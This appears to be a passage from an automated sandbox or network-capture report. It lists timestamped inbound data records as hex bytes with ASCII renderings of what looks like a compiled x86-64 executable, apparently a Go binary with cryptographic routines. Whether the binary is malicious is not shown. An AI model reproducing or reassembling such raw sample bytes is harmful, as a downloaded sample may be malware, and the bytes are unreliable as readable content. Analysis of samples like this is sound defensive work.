2023-01-25 20:04:34 UTC	604	IN	Data Raw: c9 48 8b 4c 24 38 e9 9e fe ff ff 49 89 d1 e9 96 fe ff ff 66 90 e8 db 58 ff ff 48 8b 88 b8 00 00 00 48 89 d8 ff d1 b9 42 00 00 00 48 89 c7 48 89 de 31 c0 48 8d 1d 3a 6f 45 00 e8 f6 c0 fb ff 48 89 44 24 68 48 89 5c 24 30 48 8d 05 e5 ad 3f 00 0f 1f 44 00 00 e8 db a2 f7 ff 48 8b 4c 24 30 48 89 48 08 83 3d 9b 99 72 00 00 75 0b 48 8b 54 24 68 48 89 10 90 eb 0d 48 89 c7 48 8b 54 24 68 e8 b1 21 fd ff 31 db 31 c9 48 8d 3d c6 c1 4d 00 48 89 c6 31 c0 48 8b 6c 24 78 48 83 ec 80 c3 48 89 d1 31 ff 31 f6 48 8b 6c 24 78 48 83 ec 80 c3 48 8d 05 7f 5e 40 00 e8 7a a2 f7 ff 48 c7 40 08 13 00 00 00 48 8d 0d 14 4d 44 00 48 89 08 48 8b 4c 24 50 48 89 48 10 48 89 c3 48 8d 05 f5 85 3e 00 e8 50 42 fa ff 48 89 4c 24 50 e8 86 b6 ff ff 48 89 44 24 70 48 89 5c 24 40 48 8d 05 35 5e 40 Data Ascii: HL$8IfXHHBHH1H:oEHD$hH\$0H?DHL$0HH=ruHT$hHHHT$h!11H=MH1Hl$xHH11Hl$xHH^@zH@HMDHHL$PHHHH>PBHL$PHD$pH\$@H5^@
2023-01-25 20:04:34 UTC	620	IN	Data Raw: 24 a0 00 00 00 48 89 b4 24 a8 00 00 00 4c 89 84 24 b0 00 00 00 4c 89 8c 24 b8 00 00 00 4c 89 94 24 c0 00 00 00 4c 89 9c 24 c8 00 00 00 48 89 ca 83 e1 1f 66 90 48 83 f9 15 0f 85 81 03 00 00 48 89 54 24 48 48 89 44 24 70 48 89 5c 24 68 90 66 0f 1f 44 00 00 48 f7 c2 60 00 00 00 74 17 48 89 d0 e8 2f 79 ff ff 48 8b 44 24 70 48 8b 54 24 48 48 8b 5c 24 68 4c 8b 94 24 b0 00 00 00 4d 85 d2 74 09 49 f7 c2 60 00 00 00 74 17 4c 89 d0 e8 02 79 ff ff 48 8b 44 24 70 48 8b 54 24 48 48 8b 5c 24 68 4c 8b 40 30 4c 39 05 e8 d9 6c 00 74 16 4c 8b 94 24 b0 00 00 00 41 83 e2 1f 49 83 fa 18 0f 85 3f 01 00 00 4c 39 84 24 a0 00 00 00 0f 85 31 01 00 00 4c 8b 50 38 49 81 3a 80 00 00 00 0f 87 20 01 00 00 4c 8b 94 24 a8 00 00 00 49 8b 0a 49 8b 7a 08 48 83 bc 24 b8 00 00 00 00 75 2d 48 Data Ascii: $H$L$L$L$L$HfHHT$HHD$pH\$hfDH`tH/yHD$pHT$HH\$hL$MtI`tLyHD$pHT$HH\$hL@0L9ltL$AI?L9$1LP8I: L$IIzH$u-H
2023-01-25 20:04:34 UTC	636	IN	Data Raw: cd ff ff 49 89 d9 49 89 c0 31 c0 4c 89 c3 4c 89 c9 0f 1f 40 00 e8 5b 46 fb ff 48 8b 54 24 30 48 f7 c2 60 00 00 00 ba 00 00 00 00 be 20 00 00 00 48 0f 45 d6 48 89 cf 48 8b 74 24 60 4c 8b 44 24 68 48 89 d9 48 89 c3 48 89 d0 e8 06 f0 ff ff 48 8b 6c 24 38 48 83 c4 40 c3 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 48 89 7c 24 20 48 89 74 24 28 0f 1f 00 e8 3b 7e fc ff 48 8b 44 24 08 48 8b 5c 24 10 48 8b 4c 24 18 48 8b 7c 24 20 48 8b 74 24 28 66 90 e9 1b ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 76 7b 48 83 ec 38 48 89 6c 24 30 48 8d 6c 24 30 48 89 44 24 40 48 89 5c 24 48 48 89 4c 24 28 48 89 7c 24 58 48 89 74 24 60 e8 0e 3f ff ff 48 89 cf 48 89 d9 48 89 c3 31 c0 0f 1f 00 e8 1b 48 fb ff 48 8b 54 24 28 Data Ascii: II1LL@[FHT$0H` HEHHt$`LD$hHHHHl$8H@HD$H\$HL$H\|$ Ht$(;~HD$H\$HL$H\|$ Ht$(fI;fv{H8Hl$0Hl$0HD$@H\$HHL$(H\|$XHt$`?HHH1HHT$(
2023-01-25 20:04:34 UTC	652	IN	Data Raw: 24 f0 e8 79 68 fc ff 48 8b 6d 00 84 00 48 8b 2c 24 48 83 c4 08 e9 db 9c fe ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 83 ec 08 48 89 2c 24 48 8d 2c 24 44 0f 11 7c 24 10 48 8d 7c 24 18 48 8d 7f e0 0f 1f 44 00 00 48 89 6c 24 f0 48 8d 6c 24 f0 e8 1c 68 fc ff 48 8b 6d 00 84 00 48 8b 2c 24 48 83 c4 08 0f 1f 00 e9 5b 9e fe ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 89 5c 24 10 48 89 4c 24 18 84 00 e9 af be fe ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 84 00 e9 d9 9f fe ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 84 00 e9 79 97 fe ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 84 00 e9 99 a0 fe ff cc cc cc Data Ascii: $yhHmH,$HHH,$H,$D\|$H\|$HDHl$Hl$hHmH,$H[H\$HL$y
2023-01-25 20:04:34 UTC	668	IN	Data Raw: 24 38 01 00 00 48 89 44 24 18 48 c7 44 24 20 00 00 00 00 66 90 e8 db 21 00 00 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 48 8b 84 24 10 01 00 00 48 8b 8c 24 20 01 00 00 48 8b 94 24 f0 00 00 00 48 8b 9c 24 18 01 00 00 48 8b bc 24 28 01 00 00 4c 8b 94 24 b8 00 00 00 4c 8b 5c 24 68 4c 8b 64 24 70 4c 8b ac 24 e0 00 00 00 48 8b 70 08 4c 8b 00 48 85 f6 0f 86 d0 03 00 00 48 c1 ee 02 48 8d 46 ff 48 89 04 24 4c 89 44 24 08 48 8d 84 24 80 00 00 00 48 89 44 24 10 48 8d 84 24 a0 00 00 00 48 89 44 24 18 e8 e5 1d 00 00 45 0f 57 ff 65 4c 8b 34 25 28 00 00 00 4d 8b b6 00 00 00 00 44 0f 11 bc 24 90 00 00 00 48 8b 84 24 10 01 00 00 48 8d 48 18 48 89 8c 24 c8 00 00 00 48 89 0c 24 48 8b 94 24 f8 00 00 00 48 89 54 24 08 48 8b 94 24 00 01 00 00 48 89 54 24 10 Data Ascii: $8HD$HD$ f!EWeL4%(MH$H$ H$H$H$(L$L\$hLd$pL$HpLHHHFH$LD$H$HD$H$HD$EWeL4%(MD$H$HHH$H$H$HT$H$HT$
2023-01-25 20:04:34 UTC	684	IN	Data Raw: f3 66 41 0f 38 dc fb f3 44 0f 6f 5a 10 66 45 0f 38 00 df 66 45 0f 3a 44 e3 00 66 45 0f ef c4 66 45 0f 70 e3 4e 66 45 0f 3a 44 eb 11 66 45 0f ef dc 66 45 0f ef cd f3 44 0f 6f 6f 30 66 45 0f 3a 44 dd 00 66 45 0f ef d3 41 83 c2 01 45 89 d3 45 31 e3 41 0f cb 44 89 5c 24 0c f3 44 0f 6f 58 20 66 41 0f 38 dc c3 66 41 0f 38 dc cb 66 41 0f 38 dc d3 66 41 0f 38 dc db f3 44 0f 6f 67 40 f3 45 0f 6f ec 66 41 0f 38 dc e3 66 41 0f 38 dc eb 66 41 0f 38 dc f3 66 41 0f 38 dc fb f3 44 0f 6f 5a 20 66 45 0f 38 00 df 66 45 0f 3a 44 e3 00 66 45 0f ef c4 66 45 0f 70 e3 4e 66 45 0f 3a 44 eb 11 66 45 0f ef dc 66 45 0f ef cd f3 44 0f 6f 6f 50 66 45 0f 3a 44 dd 00 66 45 0f ef d3 41 83 c2 01 45 89 d3 45 31 e3 41 0f cb 44 89 5c 24 1c f3 44 0f 6f 58 30 66 41 0f 38 dc c3 66 41 0f 38 dc Data Ascii: fA8DoZfE8fE:DfEfEpNfE:DfEfEDoo0fE:DfEAEE1AD\$DoX fA8fA8fA8fA8Dog@EofA8fA8fA8fA8DoZ fE8fE:DfEfEpNfE:DfEfEDooPfE:DfEAEE1AD\$DoX0fA8fA8
2023-01-25 20:04:34 UTC	700	IN	Data Raw: 14 24 44 33 54 24 28 41 d1 c2 44 89 54 24 20 41 89 c9 41 31 d1 41 31 e9 c1 c1 1e 44 01 c8 41 89 d8 41 c1 c0 05 42 8d 84 10 a1 eb d9 6e 44 01 c0 44 8b 54 24 24 44 33 54 24 18 44 33 54 24 04 44 33 54 24 2c 41 d1 c2 44 89 54 24 24 41 89 d9 41 31 c9 41 31 d1 c1 c3 1e 44 01 cd 41 89 c0 41 c1 c0 05 42 8d ac 15 a1 eb d9 6e 44 01 c5 44 8b 54 24 28 44 33 54 24 1c 44 33 54 24 08 44 33 54 24 30 41 d1 c2 44 89 54 24 28 41 89 c1 41 31 d9 41 31 c9 c1 c0 1e 44 01 ca 41 89 e8 41 c1 c0 05 42 8d 94 12 a1 eb d9 6e 44 01 c2 44 8b 54 24 2c 44 33 54 24 20 44 33 54 24 0c 44 33 54 24 34 41 d1 c2 44 89 54 24 2c 41 89 e9 41 31 c1 41 31 d9 c1 c5 1e 44 01 c9 41 89 d0 41 c1 c0 05 42 8d 8c 11 a1 eb d9 6e 44 01 c1 44 8b 54 24 30 44 33 54 24 24 44 33 54 24 10 44 33 54 24 38 41 d1 c2 44 Data Ascii: $D3T$(ADT$ AA1A1DAABnDDT$$D3T$D3T$D3T$,ADT$$AA1A1DAABnDDT$(D3T$D3T$D3T$0ADT$(AA1A1DAABnDDT$,D3T$ D3T$D3T$4ADT$,AA1A1DAABnDDT$0D3T$$D3T$D3T$8AD
2023-01-25 20:04:34 UTC	716	IN	Data Raw: 89 45 14 41 01 c2 44 89 f8 41 81 c2 f1 11 f1 59 44 89 f9 c1 c8 06 44 89 fa c1 c9 0b 31 c8 44 89 f9 c1 ca 19 44 21 c1 31 c2 44 89 f8 f7 d0 41 01 d2 44 21 c8 31 c8 44 01 d0 44 89 df 44 89 eb c1 cf 02 44 89 da 44 21 e3 c1 ca 0d 44 89 d9 44 21 e9 31 d7 31 cb 44 89 da 44 89 e1 c1 ca 16 44 21 d9 31 cb 31 d7 01 fb 41 89 da 41 01 c6 41 01 c2 8b 46 18 0f c8 89 45 18 41 01 c1 44 89 f0 41 81 c1 a4 82 3f 92 44 89 f1 c1 c8 06 44 89 f2 c1 c9 0b 31 c8 44 89 f1 c1 ca 19 44 21 f9 31 c2 44 89 f0 f7 d0 41 01 d1 44 21 c0 31 c8 44 01 c8 44 89 d7 44 89 e3 c1 cf 02 44 89 d2 44 21 db c1 ca 0d 44 89 d1 44 21 e1 31 d7 31 cb 44 89 d2 44 89 d9 c1 ca 16 44 21 d1 31 cb 31 d7 01 fb 41 89 d9 41 01 c5 41 01 c1 8b 46 1c 0f c8 89 45 1c 41 01 c0 44 89 e8 41 81 c0 d5 5e 1c ab 44 89 e9 c1 c8 Data Ascii: EADAYDD1DD!1DAD!1DDDDD!DD!11DDD!11AAAFEADA?DD1DD!1DAD!1DDDDD!DD!11DDD!11AAAFEADA^D
2023-01-25 20:04:34 UTC	732	IN	Data Raw: 04 38 4d 8d 40 ff 49 d1 f8 eb 31 4c 89 44 24 30 48 89 ce 4c 89 c1 e8 1a fe ff ff 4c 8b 44 24 30 49 ff c8 48 8b 44 24 48 48 8b 4c 24 78 48 8b 5c 24 50 48 8b 7c 24 38 4c 8b 4c 24 40 4d 85 c0 7d ca eb 52 4c 89 4c 24 28 48 8b 33 49 8d 3c 09 48 89 c8 48 89 da 48 89 fb ff d6 48 8b 44 24 48 48 8b 5c 24 50 31 c9 48 8b 7c 24 28 48 8b 74 24 78 0f 1f 44 00 00 e8 bb fd ff ff 4c 8b 4c 24 28 49 ff c9 48 8b 44 24 48 48 8b 4c 24 78 48 8b 5c 24 50 0f 1f 40 00 4d 85 c9 7d a9 48 8b 6c 24 58 48 83 c4 60 c3 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 48 89 7c 24 20 e8 f8 fd fa ff 48 8b 44 24 08 48 8b 5c 24 10 48 8b 4c 24 18 48 8b 7c 24 20 0f 1f 40 00 e9 db fe ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 4c 8d 64 24 e0 4d 3b 66 10 0f Data Ascii: 8M@I1LD$0HLLD$0IHD$HHL$xH\$PH\|$8LL$@M}RLL$(H3I<HHHHD$HH\$P1H\|$(Ht$xDLL$(IHD$HHL$xH\$P@M}Hl$XH`HD$H\$HL$H\|$ HD$H\$HL$H\|$ @Ld$M;f
2023-01-25 20:04:34 UTC	748	IN	Data Raw: ff 48 89 c7 48 89 de 49 89 c8 48 8b 84 24 c8 00 00 00 48 8b 9c 24 d0 00 00 00 48 8b 8c 24 80 00 00 00 e8 ee f5 ff ff 48 8b ac 24 08 01 00 00 48 81 c4 10 01 00 00 c3 48 8b ac 24 08 01 00 00 48 81 c4 10 01 00 00 c3 48 8b 94 24 d0 00 00 00 48 8b 02 48 89 84 24 a8 00 00 00 48 8b 5a 08 48 89 5c 24 48 48 8b 8c 24 88 00 00 00 48 89 ca 83 e1 1f 0f 1f 40 00 48 83 f9 18 75 11 48 8b 94 24 e0 00 00 00 48 8b 32 48 8b 52 08 eb 2b 48 8b 84 24 d8 00 00 00 48 8b 9c 24 e0 00 00 00 48 89 d1 e8 d1 0c fe ff 48 89 da 48 89 c6 48 8b 84 24 a8 00 00 00 48 8b 5c 24 48 48 89 54 24 40 48 89 b4 24 a0 00 00 00 48 89 f1 48 89 d7 e8 e6 a9 f4 ff 48 85 c0 7c 4d 48 8b 84 24 a8 00 00 00 48 8b 5c 24 48 48 8b 8c 24 a0 00 00 00 48 8b 7c 24 40 e8 c2 a9 f4 ff 66 90 48 85 c0 7e 15 b8 01 00 00 00 Data Ascii: HHIH$H$H$H$HH$HH$HH$HZH\$HH$H@HuH$H2HR+H$H$HHHH$H\$HHT$@H$HHH\|MH$H\$HH$H\|$@fH~
2023-01-25 20:04:34 UTC	764	IN	Data Raw: 8d 74 24 42 48 89 fa 48 89 cf 66 0f 1f 84 00 00 00 00 00 66 90 48 89 6c 24 f0 48 8d 6c 24 f0 e8 51 aa fa ff 48 8b 6d 00 eb 03 48 89 fa 48 8d 8a 32 02 00 00 48 8d b4 24 44 02 00 00 48 39 ce 74 1e 0f 10 84 24 44 02 00 00 0f 11 82 32 02 00 00 0f 10 84 24 4e 02 00 00 0f 11 82 3c 02 00 00 48 8b ac 24 60 02 00 00 48 81 c4 68 02 00 00 c3 48 89 44 24 08 48 89 5c 24 10 e8 37 7e fa ff 48 8b 44 24 08 48 8b 5c 24 10 e9 a8 fe ff ff cc cc cc cc cc cc cc cc 8b 48 04 48 c1 e1 20 8b 10 48 01 d1 48 6b c9 64 48 ba 00 00 96 b3 f4 84 66 5e 48 8d 04 0a c3 cc 49 3b 66 10 0f 86 82 00 00 00 48 83 ec 40 48 89 6c 24 38 48 8d 6c 24 38 48 89 44 24 28 48 8b 0d 84 9e 6a 00 48 89 4c 24 30 90 48 89 c8 e8 ce d6 ff ff 48 85 c0 75 48 48 8b 54 24 30 48 8b 52 20 48 8b 42 18 bb 01 00 00 00 48 Data Ascii: t$BHHffHl$Hl$QHmHH2H$DH9t$D2$N<H$`HhHD$H\$7~HD$H\$HH HHkdHf^HI;fH@Hl$8Hl$8HD$(HjHL$0HHuHHT$0HR HBH
2023-01-25 20:04:34 UTC	780	IN	Data Raw: d3 48 8b 6c 24 40 48 83 c4 48 c3 74 04 48 8b 40 08 0f 1f 40 00 e8 1b 83 f7 ff 90 48 89 44 24 08 48 89 5c 24 10 89 4c 24 18 e8 87 3e fa ff 48 8b 44 24 08 48 8b 5c 24 10 8b 4c 24 18 e9 f4 fe ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 0f 86 d1 00 00 00 48 83 ec 50 48 89 6c 24 48 48 8d 6c 24 48 48 89 44 24 28 48 89 5c 24 40 48 89 4c 24 38 48 8b 0d 0a 60 6a 00 48 89 4c 24 30 90 48 89 c8 e8 24 97 ff ff 0f 1f 40 00 48 85 c0 0f 85 86 00 00 00 48 8b 54 24 30 48 8b 52 20 48 8b 7c 24 40 48 8b 74 24 38 48 8b 42 18 bb 03 00 00 00 48 8b 4c 24 28 e8 51 29 fa ff ba ff ff ff ff 48 39 d0 75 42 48 85 c9 75 10 48 8b 0d eb 53 37 00 48 8b 15 ec 53 37 00 eb 31 48 81 f9 e5 03 00 00 75 10 48 8b 0d e2 53 37 00 48 8b 15 e3 53 37 00 eb 18 48 89 c8 Data Ascii: Hl$@HHtH@@HD$H\$L$>HD$H\$L$I;fHPHl$HHl$HHD$(H\$@HL$8H`jHL$0H$@HHT$0HR H\|$@Ht$8HBHL$(Q)H9uBHuHS7HS71HuHS7HS7H
2023-01-25 20:04:34 UTC	796	IN	Data Raw: 48 89 48 18 eb 14 48 8d 78 18 48 8b 8c 24 70 01 00 00 0f 1f 00 e8 fb 21 fa ff 48 c7 40 10 0f 00 00 00 48 8d 0d 7f 2d 41 00 48 89 48 08 83 3d d1 99 6f 00 00 90 75 09 48 89 05 b7 1f 6a 00 eb 0c 48 8d 3d ae 1f 6a 00 e8 c9 20 fa ff 48 8b 0d a2 1b 6a 00 48 89 8c 24 68 01 00 00 48 8d 05 33 bd 3e 00 e8 ce a2 f4 ff 83 3d 97 99 6f 00 00 75 0e 48 8b 8c 24 68 01 00 00 48 89 48 18 eb 11 48 8d 78 18 48 8b 8c 24 68 01 00 00 e8 86 21 fa ff 48 c7 40 10 19 00 00 00 48 8d 0d 1d 7d 41 00 48 89 48 08 83 3d 5c 99 6f 00 00 75 09 48 89 05 4b 1f 6a 00 eb 0c 48 8d 3d 42 1f 6a 00 e8 55 20 fa ff 48 8b 0d 2e 1b 6a 00 48 89 8c 24 60 01 00 00 48 8d 05 bf bc 3e 00 e8 5a a2 f4 ff 83 3d 23 99 6f 00 00 75 0e 48 8b 8c 24 60 01 00 00 48 89 48 18 eb 11 48 8d 78 18 48 8b 8c 24 60 01 00 00 e8 Data Ascii: HHHxH$p!H@H-AHH=ouHjH=j HjH$hH3>=ouH$hHHHxH$h!H@H}AHH=\ouHKjH=BjU H.jH$`H>Z=#ouH$`HHHxH$`
2023-01-25 20:04:34 UTC	812	IN	Data Raw: 6c 24 10 48 89 44 24 20 48 85 db 74 2d 0f b6 10 0f 1f 44 00 00 80 fa 2d 74 08 80 fa 2b 75 1b 80 fa 2d 0f 94 c2 48 ff cb 48 89 de 48 f7 db 48 c1 fb 3f 83 e3 01 48 01 d8 eb 05 48 89 de 31 d2 31 c9 31 db eb 06 48 ff c3 48 89 f9 48 39 f3 7d 5b 0f b6 3c 18 44 8d 47 d0 41 80 f8 09 77 4a 49 b8 cc cc cc cc cc cc cc 0c 4c 39 c1 77 2b 4c 8d 0c 89 4a 8d 3c 4f 48 8d 7f d0 49 b9 00 00 00 00 00 00 00 80 4c 39 cf 76 bd 48 8b 35 96 ef 69 00 31 c9 48 89 f0 31 f6 eb 1d 48 8b 35 86 ef 69 00 31 c9 48 89 f0 31 f6 eb 0d 48 39 f3 77 4a 48 29 de 31 c0 0f 1f 00 48 85 c0 75 05 48 85 f6 74 1a 48 8b 1d 2f ef 69 00 48 8b 0d 30 ef 69 00 31 c0 48 8b 6c 24 10 48 83 c4 18 c3 48 89 c8 48 f7 d9 0f b6 d2 48 85 d2 48 0f 45 c1 31 db 31 c9 48 8b 6c 24 10 48 83 c4 18 c3 48 89 d8 48 89 f1 e8 73 Data Ascii: l$HD$ Ht-D-t+u-HHHH?HH111HHH9}[<DGAwJIL9w+LJ<OHIL9vH5i1H1H5i1H1H9wJH)1HuHtH/iH0i1Hl$HHHHHE11Hl$HHHs
2023-01-25 20:04:34 UTC	828	IN	Data Raw: 00 00 00 48 89 44 24 58 48 8b b4 24 88 01 00 00 48 89 b4 24 28 01 00 00 48 89 fe 48 89 df 0f b6 44 24 46 0f b6 5c 24 47 e9 e4 12 00 00 48 8b 0d e1 af 69 00 48 8b 94 24 40 01 00 00 4c 8b 84 24 20 01 00 00 4c 8b 4c 24 60 4c 8b 94 24 c0 00 00 00 4c 8b 9c 24 00 01 00 00 4c 8b 64 24 68 4c 8b ac 24 e8 00 00 00 4c 8b bc 24 d0 00 00 00 0f b6 44 24 46 0f b6 5c 24 47 48 8b b4 24 88 01 00 00 48 8b bc 24 f0 00 00 00 e9 84 12 00 00 0f 1f 84 00 00 00 00 00 49 83 f9 18 0f 8c 1e 0f 00 00 49 83 fb 18 74 10 49 83 fb 1a 74 0a 49 83 fb 1b 75 73 0f 1f 40 00 48 83 fb 01 7c 63 80 38 5a 75 5e 48 ff cb 48 89 df 48 f7 db 48 c1 fb 3f 83 e3 01 48 01 d8 48 8b 35 2b 89 36 00 4c 8b 4c 24 60 4c 8b 94 24 c0 00 00 00 4c 8b 9c 24 00 01 00 00 4c 8b 64 24 68 4c 8b ac 24 e8 00 00 00 4c 8b bc Data Ascii: HD$XH$H$(HHD$F\$GHiH$@L$ LL$`L$L$Ld$hL$L$D$F\$GH$H$IItItIus@H\|c8Zu^HHHH?HH5+6LL$`L$L$Ld$hL$L
2023-01-25 20:04:34 UTC	844	IN	Data Raw: 83 ec 20 48 89 6c 24 18 48 8d 6c 24 18 48 89 4c 24 38 0f 1f 00 e8 3b fa ff ff 48 89 c1 48 b8 b7 4a 89 72 06 45 2e c2 48 f7 e1 48 c1 ea 10 48 69 d2 80 51 01 00 48 29 d1 48 b8 05 7c f3 6a e2 59 d1 48 48 f7 e9 48 c1 fa 0a 48 89 ce 48 c1 f9 3f 48 29 ca 48 69 fa 10 0e 00 00 48 29 fe 48 b8 89 88 88 88 88 88 88 88 48 89 d1 48 f7 ee 48 8d 1c 32 48 c1 fb 05 48 89 f2 48 c1 fe 3f 48 29 f3 48 6b f3 3c 48 29 f2 48 89 c8 48 89 d1 48 8b 6c 24 18 48 83 c4 20 c3 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 e8 0b 3e f9 ff 48 8b 44 24 08 48 8b 5c 24 10 48 8b 4c 24 18 e9 37 ff ff ff cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 49 3b 66 10 76 5b 48 83 ec 20 48 89 6c 24 18 48 8d 6c 24 18 48 89 4c 24 38 e8 62 f9 ff ff 48 89 c1 48 b8 b7 4a 89 72 06 45 2e Data Ascii: Hl$Hl$HL$8;HHJrE.HHHiQH)H\|jYHHHHH?H)HiH)HHHH2HHH?H)Hk<H)HHHl$H HD$H\$HL$>HD$H\$HL$7I;fv[H Hl$Hl$HL$8bHHJrE.
2023-01-25 20:04:34 UTC	860	IN	Data Raw: 45 31 d2 31 d2 31 c9 31 f6 eb 0a 45 31 d2 31 d2 b9 01 00 00 00 84 c9 0f 84 81 00 00 00 48 6b f6 3c 48 01 f0 4d 85 d2 74 46 80 3a 3a 75 41 49 8d 5a ff 48 89 d9 48 f7 db 48 c1 fb 3f 83 e3 01 48 01 da 49 83 fa 01 74 1d 48 89 44 24 38 4c 89 54 24 28 48 89 4c 24 70 48 89 54 24 78 31 db 31 f6 e9 a4 00 00 00 31 c9 31 d2 31 db 31 f6 eb 48 48 89 c6 48 f7 d8 45 0f b6 c0 4d 85 c0 48 0f 45 f0 48 89 f0 48 89 d3 4c 89 d1 bf 01 00 00 00 48 8b ac 24 90 00 00 00 48 81 c4 98 00 00 00 c3 31 c0 31 db 48 89 c1 31 ff 48 8b ac 24 90 00 00 00 48 81 c4 98 00 00 00 c3 84 c9 74 32 48 01 d8 49 89 c1 48 f7 d8 45 0f b6 c0 4d 85 c0 4c 0f 45 c8 4c 89 c8 48 89 f3 48 89 d1 bf 01 00 00 00 48 8b ac 24 90 00 00 00 48 81 c4 98 00 00 00 c3 31 c0 31 db 48 89 c1 31 ff 48 8b ac 24 90 00 00 00 48 Data Ascii: E1111E11Hk<HMtF::uAIZHHH?HItHD$8LT$(HL$pHT$x111111HHHEMHEHHLH$H11H1H$Ht2HIHEMLELHHH$H11H1H$H
2023-01-25 20:04:34 UTC	876	IN	Data Raw: 48 8b 84 24 90 10 00 00 48 8b 9c 24 98 10 00 00 48 8b b4 24 88 10 00 00 48 8b 8c 24 a0 10 00 00 48 8b ac 24 b0 10 00 00 48 81 c4 b8 10 00 00 c3 48 89 b4 24 90 10 00 00 48 89 84 24 98 10 00 00 48 89 94 24 a0 10 00 00 48 89 9c 24 80 10 00 00 48 89 8c 24 88 10 00 00 c6 44 24 2f 00 48 8b 94 24 a8 10 00 00 48 8b 02 ff d0 48 8b bc 24 80 10 00 00 48 8b 9c 24 98 10 00 00 48 8b b4 24 88 10 00 00 48 8b 8c 24 a0 10 00 00 48 8b 84 24 90 10 00 00 48 8b ac 24 b0 10 00 00 48 81 c4 b8 10 00 00 c3 48 89 c1 ba 00 10 00 00 e8 46 e5 f8 ff 90 0f 1f 44 00 00 e8 3b f6 f5 ff 48 8b 84 24 90 10 00 00 48 8b 9c 24 98 10 00 00 48 8b 8c 24 a0 10 00 00 48 8b bc 24 80 10 00 00 48 8b b4 24 88 10 00 00 48 8b ac 24 b0 10 00 00 48 81 c4 b8 10 00 00 c3 48 89 44 24 08 48 89 5c 24 10 e8 b4 bd Data Ascii: H$H$H$H$H$HH$H$H$H$H$D$/H$HH$H$H$H$H$H$HHFD;H$H$H$H$H$H$HHD$H\$
2023-01-25 20:04:34 UTC	892	IN	Data Raw: 38 48 89 4c 24 60 48 89 4c 24 68 48 89 44 24 58 48 8b 5c 24 48 48 8b 54 24 50 48 8b 74 24 70 48 39 f2 0f 82 1c 04 00 00 48 39 ce 48 0f 4c ce 48 39 d8 74 06 90 e8 1b af f8 ff 48 8b 84 24 88 00 00 00 48 8b 9c 24 90 00 00 00 0f b6 74 24 1f 48 8b 7c 24 40 48 8b 4c 24 60 4c 8b 44 24 58 4c 8b 4c 24 70 49 39 c9 0f 83 d0 03 00 00 43 c6 04 08 2e 48 ff 44 24 70 48 83 7c 24 58 00 0f 85 a7 00 00 00 4c 8b 44 24 70 48 8b 4c 24 50 4c 8b 4c 24 48 0f 1f 40 00 49 39 c8 7d 20 0f 83 94 03 00 00 47 0f b6 0c 08 41 80 f9 2e 75 0f 49 ff c0 4c 89 44 24 70 66 90 e9 91 00 00 00 48 89 4c 24 38 48 8d 05 af db 38 00 48 89 cb e8 27 03 f7 ff 48 8b 4c 24 38 48 89 4c 24 60 48 89 4c 24 68 48 89 44 24 58 48 8b 5c 24 48 48 8b 54 24 50 48 8b 74 24 70 0f 1f 40 00 48 39 d6 0f 87 2e 03 00 00 48 Data Ascii: 8HL$`HL$hHD$XH\$HHT$PHt$pH9H9HLH9tH$H$t$H\|$@HL$`LD$XLL$pI9C.HD$pH\|$XLD$pHL$PLL$H@I9} GA.uILD$pfHL$8H8H'HL$8HL$`HL$hHD$XH\$HHT$PHt$p@H9.H
2023-01-25 20:04:34 UTC	908	IN	Data Raw: 83 c4 30 c3 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 48 89 7c 24 20 e8 98 3e f8 ff 48 8b 44 24 08 48 8b 5c 24 10 48 8b 4c 24 18 48 8b 7c 24 20 eb a2 cc cc 49 3b 66 10 76 29 48 83 ec 30 48 89 6c 24 28 48 8d 6c 24 28 48 89 7c 24 50 be 72 00 00 00 66 90 e8 9b 00 00 00 48 8b 6c 24 28 48 83 c4 30 c3 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 48 89 7c 24 20 e8 38 3e f8 ff 48 8b 44 24 08 48 8b 5c 24 10 48 8b 4c 24 18 48 8b 7c 24 20 eb a2 cc cc 49 3b 66 10 76 29 48 83 ec 30 48 89 6c 24 28 48 8d 6c 24 28 48 89 7c 24 50 be 77 00 00 00 66 90 e8 3b 00 00 00 48 8b 6c 24 28 48 83 c4 30 c3 48 89 44 24 08 48 89 5c 24 10 48 89 4c 24 18 48 89 7c 24 20 e8 d8 3d f8 ff 48 8b 44 24 08 48 8b 5c 24 10 48 8b 4c 24 18 48 8b 7c 24 20 eb a2 cc cc 49 3b 66 10 0f 86 2f 02 00 00 Data Ascii: 0HD$H\$HL$H\|$ >HD$H\$HL$H\|$ I;fv)H0Hl$(Hl$(H\|$PrfHl$(H0HD$H\$HL$H\|$ 8>HD$H\$HL$H\|$ I;fv)H0Hl$(Hl$(H\|$Pwf;Hl$(H0HD$H\$HL$H\|$ =HD$H\$HL$H\|$ I;f/
